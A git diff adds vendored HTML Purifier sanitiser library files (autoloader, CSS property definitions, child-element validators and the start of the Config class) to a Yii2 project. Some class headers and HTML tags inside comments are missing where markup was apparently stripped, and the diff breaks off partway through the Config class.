} + // Custom implementations + if (strncmp('HTMLPurifier_Language_', $class, 22) === 0) { + $code = str_replace('_', '-', substr($class, 22)); + $file = 'HTMLPurifier/Language/classes/' . $code . '.php'; + } else { + $file = str_replace('_', '/', $class) . '.php'; + } + if (!file_exists(HTMLPURIFIER_PREFIX . '/' . $file)) { + return false; + } + return $file; + } + + /** + * "Pre-registers" our autoloader on the SPL stack. + */ + public static function registerAutoload() + { + $autoload = array('HTMLPurifier_Bootstrap', 'autoload'); + if (($funcs = spl_autoload_functions()) === false) { + spl_autoload_register($autoload); + } elseif (function_exists('spl_autoload_unregister')) { + if (version_compare(PHP_VERSION, '5.3.0', '>=')) { + // prepend flag exists, no need for shenanigans + spl_autoload_register($autoload, true, true); + } else { + $buggy = version_compare(PHP_VERSION, '5.2.11', '<'); + $compat = version_compare(PHP_VERSION, '5.1.2', '<=') && + version_compare(PHP_VERSION, '5.1.0', '>='); + foreach ($funcs as $func) { + if ($buggy && is_array($func)) { + // :TRICKY: There are some compatibility issues and some + // places where we need to error out + $reflector = new ReflectionMethod($func[0], $func[1]); + if (!$reflector->isStatic()) { + throw new Exception( + 'HTML Purifier autoloader registrar is not compatible + with non-static object methods due to PHP Bug #44144; + Please do not use HTMLPurifier.autoload.php (or any + file that includes this file); instead, place the code: + spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\')) + after your own autoloaders.' + ); + } + // Suprisingly, spl_autoload_register supports the + // Class::staticMethod callback format, although call_user_func doesn't + if ($compat) { + $func = implode('::', $func); + } + } + spl_autoload_unregister($func); + } + spl_autoload_register($autoload); + foreach ($funcs as $func) { + spl_autoload_register($func); + } + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/CSSDefinition.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/CSSDefinition.php new file mode 100644 index 00000000..0acdee2d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/CSSDefinition.php @@ -0,0 +1,474 @@ +info['text-align'] = new HTMLPurifier_AttrDef_Enum( + array('left', 'right', 'center', 'justify'), + false + ); + + $border_style = + $this->info['border-bottom-style'] = + $this->info['border-right-style'] = + $this->info['border-left-style'] = + $this->info['border-top-style'] = new HTMLPurifier_AttrDef_Enum( + array( + 'none', + 'hidden', + 'dotted', + 'dashed', + 'solid', + 'double', + 'groove', + 'ridge', + 'inset', + 'outset' + ), + false + ); + + $this->info['border-style'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_style); + + $this->info['clear'] = new HTMLPurifier_AttrDef_Enum( + array('none', 'left', 'right', 'both'), + false + ); + $this->info['float'] = new HTMLPurifier_AttrDef_Enum( + array('none', 'left', 'right'), + false + ); + $this->info['font-style'] = new HTMLPurifier_AttrDef_Enum( + array('normal', 'italic', 'oblique'), + false + ); + $this->info['font-variant'] = new HTMLPurifier_AttrDef_Enum( + array('normal', 'small-caps'), + false + ); + + $uri_or_none = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum(array('none')), + new HTMLPurifier_AttrDef_CSS_URI() + ) + ); + + $this->info['list-style-position'] = new HTMLPurifier_AttrDef_Enum( + array('inside', 'outside'), + false + ); + $this->info['list-style-type'] = new HTMLPurifier_AttrDef_Enum( + array( + 'disc', + 'circle', + 'square', + 'decimal', + 'lower-roman', + 'upper-roman', + 'lower-alpha', + 'upper-alpha', + 'none' + ), + false + ); + $this->info['list-style-image'] = $uri_or_none; + + $this->info['list-style'] = new HTMLPurifier_AttrDef_CSS_ListStyle($config); + + $this->info['text-transform'] = new HTMLPurifier_AttrDef_Enum( + array('capitalize', 'uppercase', 'lowercase', 'none'), + false + ); + $this->info['color'] = new HTMLPurifier_AttrDef_CSS_Color(); + + $this->info['background-image'] = $uri_or_none; + $this->info['background-repeat'] = new HTMLPurifier_AttrDef_Enum( + array('repeat', 'repeat-x', 'repeat-y', 'no-repeat') + ); + $this->info['background-attachment'] = new HTMLPurifier_AttrDef_Enum( + array('scroll', 'fixed') + ); + $this->info['background-position'] = new HTMLPurifier_AttrDef_CSS_BackgroundPosition(); + + $border_color = + $this->info['border-top-color'] = + $this->info['border-bottom-color'] = + $this->info['border-left-color'] = + $this->info['border-right-color'] = + $this->info['background-color'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum(array('transparent')), + new HTMLPurifier_AttrDef_CSS_Color() + ) + ); + + $this->info['background'] = new HTMLPurifier_AttrDef_CSS_Background($config); + + $this->info['border-color'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_color); + + $border_width = + $this->info['border-top-width'] = + $this->info['border-bottom-width'] = + $this->info['border-left-width'] = + $this->info['border-right-width'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum(array('thin', 'medium', 'thick')), + new HTMLPurifier_AttrDef_CSS_Length('0') //disallow negative + ) + ); + + $this->info['border-width'] = new HTMLPurifier_AttrDef_CSS_Multiple($border_width); + + $this->info['letter-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum(array('normal')), + new HTMLPurifier_AttrDef_CSS_Length() + ) + ); + + $this->info['word-spacing'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum(array('normal')), + new HTMLPurifier_AttrDef_CSS_Length() + ) + ); + + $this->info['font-size'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum( + array( + 'xx-small', + 'x-small', + 'small', + 'medium', + 'large', + 'x-large', + 'xx-large', + 'larger', + 'smaller' + ) + ), + new HTMLPurifier_AttrDef_CSS_Percentage(), + new HTMLPurifier_AttrDef_CSS_Length() + ) + ); + + $this->info['line-height'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum(array('normal')), + new HTMLPurifier_AttrDef_CSS_Number(true), // no negatives + new HTMLPurifier_AttrDef_CSS_Length('0'), + new HTMLPurifier_AttrDef_CSS_Percentage(true) + ) + ); + + $margin = + $this->info['margin-top'] = + $this->info['margin-bottom'] = + $this->info['margin-left'] = + $this->info['margin-right'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_CSS_Length(), + new HTMLPurifier_AttrDef_CSS_Percentage(), + new HTMLPurifier_AttrDef_Enum(array('auto')) + ) + ); + + $this->info['margin'] = new HTMLPurifier_AttrDef_CSS_Multiple($margin); + + // non-negative + $padding = + $this->info['padding-top'] = + $this->info['padding-bottom'] = + $this->info['padding-left'] = + $this->info['padding-right'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_CSS_Length('0'), + new HTMLPurifier_AttrDef_CSS_Percentage(true) + ) + ); + + $this->info['padding'] = new HTMLPurifier_AttrDef_CSS_Multiple($padding); + + $this->info['text-indent'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_CSS_Length(), + new HTMLPurifier_AttrDef_CSS_Percentage() + ) + ); + + $trusted_wh = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_CSS_Length('0'), + new HTMLPurifier_AttrDef_CSS_Percentage(true), + new HTMLPurifier_AttrDef_Enum(array('auto')) + ) + ); + $max = $config->get('CSS.MaxImgLength'); + + $this->info['width'] = + $this->info['height'] = + $max === null ? + $trusted_wh : + new HTMLPurifier_AttrDef_Switch( + 'img', + // For img tags: + new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_CSS_Length('0', $max), + new HTMLPurifier_AttrDef_Enum(array('auto')) + ) + ), + // For everyone else: + $trusted_wh + ); + + $this->info['text-decoration'] = new HTMLPurifier_AttrDef_CSS_TextDecoration(); + + $this->info['font-family'] = new HTMLPurifier_AttrDef_CSS_FontFamily(); + + // this could use specialized code + $this->info['font-weight'] = new HTMLPurifier_AttrDef_Enum( + array( + 'normal', + 'bold', + 'bolder', + 'lighter', + '100', + '200', + '300', + '400', + '500', + '600', + '700', + '800', + '900' + ), + false + ); + + // MUST be called after other font properties, as it references + // a CSSDefinition object + $this->info['font'] = new HTMLPurifier_AttrDef_CSS_Font($config); + + // same here + $this->info['border'] = + $this->info['border-bottom'] = + $this->info['border-top'] = + $this->info['border-left'] = + $this->info['border-right'] = new HTMLPurifier_AttrDef_CSS_Border($config); + + $this->info['border-collapse'] = new HTMLPurifier_AttrDef_Enum( + array('collapse', 'separate') + ); + + $this->info['caption-side'] = new HTMLPurifier_AttrDef_Enum( + array('top', 'bottom') + ); + + $this->info['table-layout'] = new HTMLPurifier_AttrDef_Enum( + array('auto', 'fixed') + ); + + $this->info['vertical-align'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Enum( + array( + 'baseline', + 'sub', + 'super', + 'top', + 'text-top', + 'middle', + 'bottom', + 'text-bottom' + ) + ), + new HTMLPurifier_AttrDef_CSS_Length(), + new HTMLPurifier_AttrDef_CSS_Percentage() + ) + ); + + $this->info['border-spacing'] = new HTMLPurifier_AttrDef_CSS_Multiple(new HTMLPurifier_AttrDef_CSS_Length(), 2); + + // These CSS properties don't work on many browsers, but we live + // in THE FUTURE! + $this->info['white-space'] = new HTMLPurifier_AttrDef_Enum( + array('nowrap', 'normal', 'pre', 'pre-wrap', 'pre-line') + ); + + if ($config->get('CSS.Proprietary')) { + $this->doSetupProprietary($config); + } + + if ($config->get('CSS.AllowTricky')) { + $this->doSetupTricky($config); + } + + if ($config->get('CSS.Trusted')) { + $this->doSetupTrusted($config); + } + + $allow_important = $config->get('CSS.AllowImportant'); + // wrap all attr-defs with decorator that handles !important + foreach ($this->info as $k => $v) { + $this->info[$k] = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($v, $allow_important); + } + + $this->setupConfigStuff($config); + } + + /** + * @param HTMLPurifier_Config $config + */ + protected function doSetupProprietary($config) + { + // Internet Explorer only scrollbar colors + $this->info['scrollbar-arrow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-base-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-darkshadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-face-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-highlight-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + $this->info['scrollbar-shadow-color'] = new HTMLPurifier_AttrDef_CSS_Color(); + + // technically not proprietary, but CSS3, and no one supports it + $this->info['opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + $this->info['-moz-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + $this->info['-khtml-opacity'] = new HTMLPurifier_AttrDef_CSS_AlphaValue(); + + // only opacity, for now + $this->info['filter'] = new HTMLPurifier_AttrDef_CSS_Filter(); + + // more CSS3 + $this->info['page-break-after'] = + $this->info['page-break-before'] = new HTMLPurifier_AttrDef_Enum( + array( + 'auto', + 'always', + 'avoid', + 'left', + 'right' + ) + ); + $this->info['page-break-inside'] = new HTMLPurifier_AttrDef_Enum(array('auto', 'avoid')); + + } + + /** + * @param HTMLPurifier_Config $config + */ + protected function doSetupTricky($config) + { + $this->info['display'] = new HTMLPurifier_AttrDef_Enum( + array( + 'inline', + 'block', + 'list-item', + 'run-in', + 'compact', + 'marker', + 'table', + 'inline-block', + 'inline-table', + 'table-row-group', + 'table-header-group', + 'table-footer-group', + 'table-row', + 'table-column-group', + 'table-column', + 'table-cell', + 'table-caption', + 'none' + ) + ); + $this->info['visibility'] = new HTMLPurifier_AttrDef_Enum( + array('visible', 'hidden', 'collapse') + ); + $this->info['overflow'] = new HTMLPurifier_AttrDef_Enum(array('visible', 'hidden', 'auto', 'scroll')); + } + + /** + * @param HTMLPurifier_Config $config + */ + protected function doSetupTrusted($config) + { + $this->info['position'] = new HTMLPurifier_AttrDef_Enum( + array('static', 'relative', 'absolute', 'fixed') + ); + $this->info['top'] = + $this->info['left'] = + $this->info['right'] = + $this->info['bottom'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_CSS_Length(), + new HTMLPurifier_AttrDef_CSS_Percentage(), + new HTMLPurifier_AttrDef_Enum(array('auto')), + ) + ); + $this->info['z-index'] = new HTMLPurifier_AttrDef_CSS_Composite( + array( + new HTMLPurifier_AttrDef_Integer(), + new HTMLPurifier_AttrDef_Enum(array('auto')), + ) + ); + } + + /** + * Performs extra config-based processing. Based off of + * HTMLPurifier_HTMLDefinition. + * @param HTMLPurifier_Config $config + * @todo Refactor duplicate elements into common class (probably using + * composition, not inheritance). + */ + protected function setupConfigStuff($config) + { + // setup allowed elements + $support = "(for information on implementing this, see the " . + "support forums) "; + $allowed_properties = $config->get('CSS.AllowedProperties'); + if ($allowed_properties !== null) { + foreach ($this->info as $name => $d) { + if (!isset($allowed_properties[$name])) { + unset($this->info[$name]); + } + unset($allowed_properties[$name]); + } + // emit errors + foreach ($allowed_properties as $name => $d) { + // :TODO: Is this htmlspecialchars() call really necessary? + $name = htmlspecialchars($name); + trigger_error("Style attribute '$name' is not supported $support", E_USER_WARNING); + } + } + + $forbidden_properties = $config->get('CSS.ForbiddenProperties'); + if ($forbidden_properties !== null) { + foreach ($this->info as $name => $d) { + if (isset($forbidden_properties[$name])) { + unset($this->info[$name]); + } + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef.php new file mode 100644 index 00000000..8eb17b82 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef.php @@ -0,0 +1,52 @@ +elements; + } + + /** + * Validates nodes according to definition and returns modification. + * + * @param HTMLPurifier_Node[] $children Array of HTMLPurifier_Node + * @param HTMLPurifier_Config $config HTMLPurifier_Config object + * @param HTMLPurifier_Context $context HTMLPurifier_Context object + * @return bool|array true to leave nodes as is, false to remove parent node, array of replacement children + */ + abstract public function validateChildren($children, $config, $context); +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.php new file mode 100644 index 00000000..7439be26 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.php @@ -0,0 +1,67 @@ +inline = new HTMLPurifier_ChildDef_Optional($inline); + $this->block = new HTMLPurifier_ChildDef_Optional($block); + $this->elements = $this->block->elements; + } + + /** + * @param HTMLPurifier_Node[] $children + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function validateChildren($children, $config, $context) + { + if ($context->get('IsInline') === false) { + return $this->block->validateChildren( + $children, + $config, + $context + ); + } else { + return $this->inline->validateChildren( + $children, + $config, + $context + ); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Custom.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Custom.php new file mode 100644 index 00000000..128132e9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Custom.php @@ -0,0 +1,102 @@ +dtd_regex = $dtd_regex; + $this->_compileRegex(); + } + + /** + * Compiles the PCRE regex from a DTD regex ($dtd_regex to $_pcre_regex) + */ + protected function _compileRegex() + { + $raw = str_replace(' ', '', $this->dtd_regex); + if ($raw{0} != '(') { + $raw = "($raw)"; + } + $el = '[#a-zA-Z0-9_.-]+'; + $reg = $raw; + + // COMPLICATED! AND MIGHT BE BUGGY! I HAVE NO CLUE WHAT I'M + // DOING! Seriously: if there's problems, please report them. + + // collect all elements into the $elements array + preg_match_all("/$el/", $reg, $matches); + foreach ($matches[0] as $match) { + $this->elements[$match] = true; + } + + // setup all elements as parentheticals with leading commas + $reg = preg_replace("/$el/", '(,\\0)', $reg); + + // remove commas when they were not solicited + $reg = preg_replace("/([^,(|]\(+),/", '\\1', $reg); + + // remove all non-paranthetical commas: they are handled by first regex + $reg = preg_replace("/,\(/", '(', $reg); + + $this->_pcre_regex = $reg; + } + + /** + * @param HTMLPurifier_Node[] $children + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function validateChildren($children, $config, $context) + { + $list_of_children = ''; + $nesting = 0; // depth into the nest + foreach ($children as $node) { + if (!empty($node->is_whitespace)) { + continue; + } + $list_of_children .= $node->name . ','; + } + // add leading comma to deal with stray comma declarations + $list_of_children = ',' . rtrim($list_of_children, ','); + $okay = + preg_match( + '/^,?' . $this->_pcre_regex . '$/', + $list_of_children + ); + return (bool)$okay; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Empty.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Empty.php new file mode 100644 index 00000000..a8a6cbdd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Empty.php @@ -0,0 +1,38 @@ + true, 'ul' => true, 'ol' => true); + + /** + * @param array $children + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function validateChildren($children, $config, $context) + { + // Flag for subclasses + $this->whitespace = false; + + // if there are no tokens, delete parent node + if (empty($children)) { + return false; + } + + // the new set of children + $result = array(); + + // a little sanity check to make sure it's not ALL whitespace + $all_whitespace = true; + + $current_li = false; + + foreach ($children as $node) { + if (!empty($node->is_whitespace)) { + $result[] = $node; + continue; + } + $all_whitespace = false; // phew, we're not talking about whitespace + + if ($node->name === 'li') { + // good + $current_li = $node; + $result[] = $node; + } else { + // we want to tuck this into the previous li + // Invariant: we expect the node to be ol/ul + // ToDo: Make this more robust in the case of not ol/ul + // by distinguishing between existing li and li created + // to handle non-list elements; non-list elements should + // not be appended to an existing li; only li created + // for non-list. This distinction is not currently made. + if ($current_li === false) { + $current_li = new HTMLPurifier_Node_Element('li'); + $result[] = $current_li; + } + $current_li->children[] = $node; + $current_li->empty = false; // XXX fascinating! Check for this error elsewhere ToDo + } + } + if (empty($result)) { + return false; + } + if ($all_whitespace) { + return false; + } + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Optional.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Optional.php new file mode 100644 index 00000000..b9468063 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Optional.php @@ -0,0 +1,45 @@ +whitespace) { + return $children; + } else { + return array(); + } + } + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Required.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Required.php new file mode 100644 index 00000000..0d1c8f5f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Required.php @@ -0,0 +1,118 @@ + $x) { + $elements[$i] = true; + if (empty($i)) { + unset($elements[$i]); + } // remove blank + } + } + $this->elements = $elements; + } + + /** + * @type bool + */ + public $allow_empty = false; + + /** + * @type string + */ + public $type = 'required'; + + /** + * @param array $children + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function validateChildren($children, $config, $context) + { + // Flag for subclasses + $this->whitespace = false; + + // if there are no tokens, delete parent node + if (empty($children)) { + return false; + } + + // the new set of children + $result = array(); + + // whether or not parsed character data is allowed + // this controls whether or not we silently drop a tag + // or generate escaped HTML from it + $pcdata_allowed = isset($this->elements['#PCDATA']); + + // a little sanity check to make sure it's not ALL whitespace + $all_whitespace = true; + + $stack = array_reverse($children); + while (!empty($stack)) { + $node = array_pop($stack); + if (!empty($node->is_whitespace)) { + $result[] = $node; + continue; + } + $all_whitespace = false; // phew, we're not talking about whitespace + + if (!isset($this->elements[$node->name])) { + // special case text + // XXX One of these ought to be redundant or something + if ($pcdata_allowed && $node instanceof HTMLPurifier_Node_Text) { + $result[] = $node; + continue; + } + // spill the child contents in + // ToDo: Make configurable + if ($node instanceof HTMLPurifier_Node_Element) { + for ($i = count($node->children) - 1; $i >= 0; $i--) { + $stack[] = $node->children[$i]; + } + continue; + } + continue; + } + $result[] = $node; + } + if (empty($result)) { + return false; + } + if ($all_whitespace) { + $this->whitespace = true; + return false; + } + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.php new file mode 100644 index 00000000..3270a46e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.php @@ -0,0 +1,110 @@ +init($config); + return $this->fake_elements; + } + + /** + * @param array $children + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function validateChildren($children, $config, $context) + { + $this->init($config); + + // trick the parent class into thinking it allows more + $this->elements = $this->fake_elements; + $result = parent::validateChildren($children, $config, $context); + $this->elements = $this->real_elements; + + if ($result === false) { + return array(); + } + if ($result === true) { + $result = $children; + } + + $def = $config->getHTMLDefinition(); + $block_wrap_name = $def->info_block_wrapper; + $block_wrap = false; + $ret = array(); + + foreach ($result as $node) { + if ($block_wrap === false) { + if (($node instanceof HTMLPurifier_Node_Text && !$node->is_whitespace) || + ($node instanceof HTMLPurifier_Node_Element && !isset($this->elements[$node->name]))) { + $block_wrap = new HTMLPurifier_Node_Element($def->info_block_wrapper); + $ret[] = $block_wrap; + } + } else { + if ($node instanceof HTMLPurifier_Node_Element && isset($this->elements[$node->name])) { + $block_wrap = false; + + } + } + if ($block_wrap) { + $block_wrap->children[] = $node; + } else { + $ret[] = $node; + } + } + return $ret; + } + + /** + * @param HTMLPurifier_Config $config + */ + private function init($config) + { + if (!$this->init) { + $def = $config->getHTMLDefinition(); + // allow all inline elements + $this->real_elements = $this->elements; + $this->fake_elements = $def->info_content_sets['Flow']; + $this->fake_elements['#PCDATA'] = true; + $this->init = true; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php new file mode 100644 index 00000000..3e4a0f21 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php @@ -0,0 +1,224 @@ + true, + 'tbody' => true, + 'thead' => true, + 'tfoot' => true, + 'caption' => true, + 'colgroup' => true, + 'col' => true + ); + + public function __construct() + { + } + + /** + * @param array $children + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function validateChildren($children, $config, $context) + { + if (empty($children)) { + return false; + } + + // only one of these elements is allowed in a table + $caption = false; + $thead = false; + $tfoot = false; + + // whitespace + $initial_ws = array(); + $after_caption_ws = array(); + $after_thead_ws = array(); + $after_tfoot_ws = array(); + + // as many of these as you want + $cols = array(); + $content = array(); + + $tbody_mode = false; // if true, then we need to wrap any stray + // s with a . + + $ws_accum =& $initial_ws; + + foreach ($children as $node) { + if ($node instanceof HTMLPurifier_Node_Comment) { + $ws_accum[] = $node; + continue; + } + switch ($node->name) { + case 'tbody': + $tbody_mode = true; + // fall through + case 'tr': + $content[] = $node; + $ws_accum =& $content; + break; + case 'caption': + // there can only be one caption! + if ($caption !== false) break; + $caption = $node; + $ws_accum =& $after_caption_ws; + break; + case 'thead': + $tbody_mode = true; + // XXX This breaks rendering properties with + // Firefox, which never floats a to + // the top. Ever. (Our scheme will float the + // first to the top.) So maybe + // s that are not first should be + // turned into ? Very tricky, indeed. + if ($thead === false) { + $thead = $node; + $ws_accum =& $after_thead_ws; + } else { + // Oops, there's a second one! What + // should we do? Current behavior is to + // transmutate the first and last entries into + // tbody tags, and then put into content. + // Maybe a better idea is to *attach + // it* to the existing thead or tfoot? + // We don't do this, because Firefox + // doesn't float an extra tfoot to the + // bottom like it does for the first one. + $node->name = 'tbody'; + $content[] = $node; + $ws_accum =& $content; + } + break; + case 'tfoot': + // see above for some aveats + $tbody_mode = true; + if ($tfoot === false) { + $tfoot = $node; + $ws_accum =& $after_tfoot_ws; + } else { + $node->name = 'tbody'; + $content[] = $node; + $ws_accum =& $content; + } + break; + case 'colgroup': + case 'col': + $cols[] = $node; + $ws_accum =& $cols; + break; + case '#PCDATA': + // How is whitespace handled? We treat is as sticky to + // the *end* of the previous element. So all of the + // nonsense we have worked on is to keep things + // together. + if (!empty($node->is_whitespace)) { + $ws_accum[] = $node; + } + break; + } + } + + if (empty($content)) { + return false; + } + + $ret = $initial_ws; + if ($caption !== false) { + $ret[] = $caption; + $ret = array_merge($ret, $after_caption_ws); + } + if ($cols !== false) { + $ret = array_merge($ret, $cols); + } + if ($thead !== false) { + $ret[] = $thead; + $ret = array_merge($ret, $after_thead_ws); + } + if ($tfoot !== false) { + $ret[] = $tfoot; + $ret = array_merge($ret, $after_tfoot_ws); + } + + if ($tbody_mode) { + // we have to shuffle tr into tbody + $current_tr_tbody = null; + + foreach($content as $node) { + switch ($node->name) { + case 'tbody': + $current_tr_tbody = null; + $ret[] = $node; + break; + case 'tr': + if ($current_tr_tbody === null) { + $current_tr_tbody = new HTMLPurifier_Node_Element('tbody'); + $ret[] = $current_tr_tbody; + } + $current_tr_tbody->children[] = $node; + break; + case '#PCDATA': + assert($node->is_whitespace); + if ($current_tr_tbody === null) { + $ret[] = $node; + } else { + $current_tr_tbody->children[] = $node; + } + break; + } + } + } else { + $ret = array_merge($ret, $content); + } + + return $ret; + + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php new file mode 100644 index 00000000..7ada59b9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php @@ -0,0 +1,911 @@ +defaultPlist; + $this->plist = new HTMLPurifier_PropertyList($parent); + $this->def = $definition; // keep a copy around for checking + $this->parser = new HTMLPurifier_VarParser_Flexible(); + } + + /** + * Convenience constructor that creates a config object based on a mixed var + * @param mixed $config Variable that defines the state of the config + * object. Can be: a HTMLPurifier_Config() object, + * an array of directives based on loadArray(), + * or a string filename of an ini file. + * @param HTMLPurifier_ConfigSchema $schema Schema object + * @return HTMLPurifier_Config Configured object + */ + public static function create($config, $schema = null) + { + if ($config instanceof HTMLPurifier_Config) { + // pass-through + return $config; + } + if (!$schema) { + $ret = HTMLPurifier_Config::createDefault(); + } else { + $ret = new HTMLPurifier_Config($schema); + } + if (is_string($config)) { + $ret->loadIni($config); + } elseif (is_array($config)) $ret->loadArray($config); + return $ret; + } + + /** + * Creates a new config object that inherits from a previous one. + * @param HTMLPurifier_Config $config Configuration object to inherit from. + * @return HTMLPurifier_Config object with $config as its parent. + */ + public static function inherit(HTMLPurifier_Config $config) + { + return new HTMLPurifier_Config($config->def, $config->plist); + } + + /** + * Convenience constructor that creates a default configuration object. + * @return HTMLPurifier_Config default object. + */ + public static function createDefault() + { + $definition = HTMLPurifier_ConfigSchema::instance(); + $config = new HTMLPurifier_Config($definition); + return $config; + } + + /** + * Retrieves a value from the configuration. + * + * @param string $key String key + * @param mixed $a + * + * @return mixed + */ + public function get($key, $a = null) + { + if ($a !== null) { + $this->triggerError( + "Using deprecated API: use \$config->get('$key.$a') instead", + E_USER_WARNING + ); + $key = "$key.$a"; + } + if (!$this->finalized) { + $this->autoFinalize(); + } + if (!isset($this->def->info[$key])) { + // can't add % due to SimpleTest bug + $this->triggerError( + 'Cannot retrieve value of undefined directive ' . htmlspecialchars($key), + E_USER_WARNING + ); + return; + } + if (isset($this->def->info[$key]->isAlias)) { + $d = $this->def->info[$key]; + $this->triggerError( + 'Cannot get value from aliased directive, use real name ' . $d->key, + E_USER_ERROR + ); + return; + } + if ($this->lock) { + list($ns) = explode('.', $key); + if ($ns !== $this->lock) { + $this->triggerError( + 'Cannot get value of namespace ' . $ns . ' when lock for ' . + $this->lock . + ' is active, this probably indicates a Definition setup method ' . + 'is accessing directives that are not within its namespace', + E_USER_ERROR + ); + return; + } + } + return $this->plist->get($key); + } + + /** + * Retrieves an array of directives to values from a given namespace + * + * @param string $namespace String namespace + * + * @return array + */ + public function getBatch($namespace) + { + if (!$this->finalized) { + $this->autoFinalize(); + } + $full = $this->getAll(); + if (!isset($full[$namespace])) { + $this->triggerError( + 'Cannot retrieve undefined namespace ' . + htmlspecialchars($namespace), + E_USER_WARNING + ); + return; + } + return $full[$namespace]; + } + + /** + * Returns a SHA-1 signature of a segment of the configuration object + * that uniquely identifies that particular configuration + * + * @param string $namespace Namespace to get serial for + * + * @return string + * @note Revision is handled specially and is removed from the batch + * before processing! + */ + public function getBatchSerial($namespace) + { + if (empty($this->serials[$namespace])) { + $batch = $this->getBatch($namespace); + unset($batch['DefinitionRev']); + 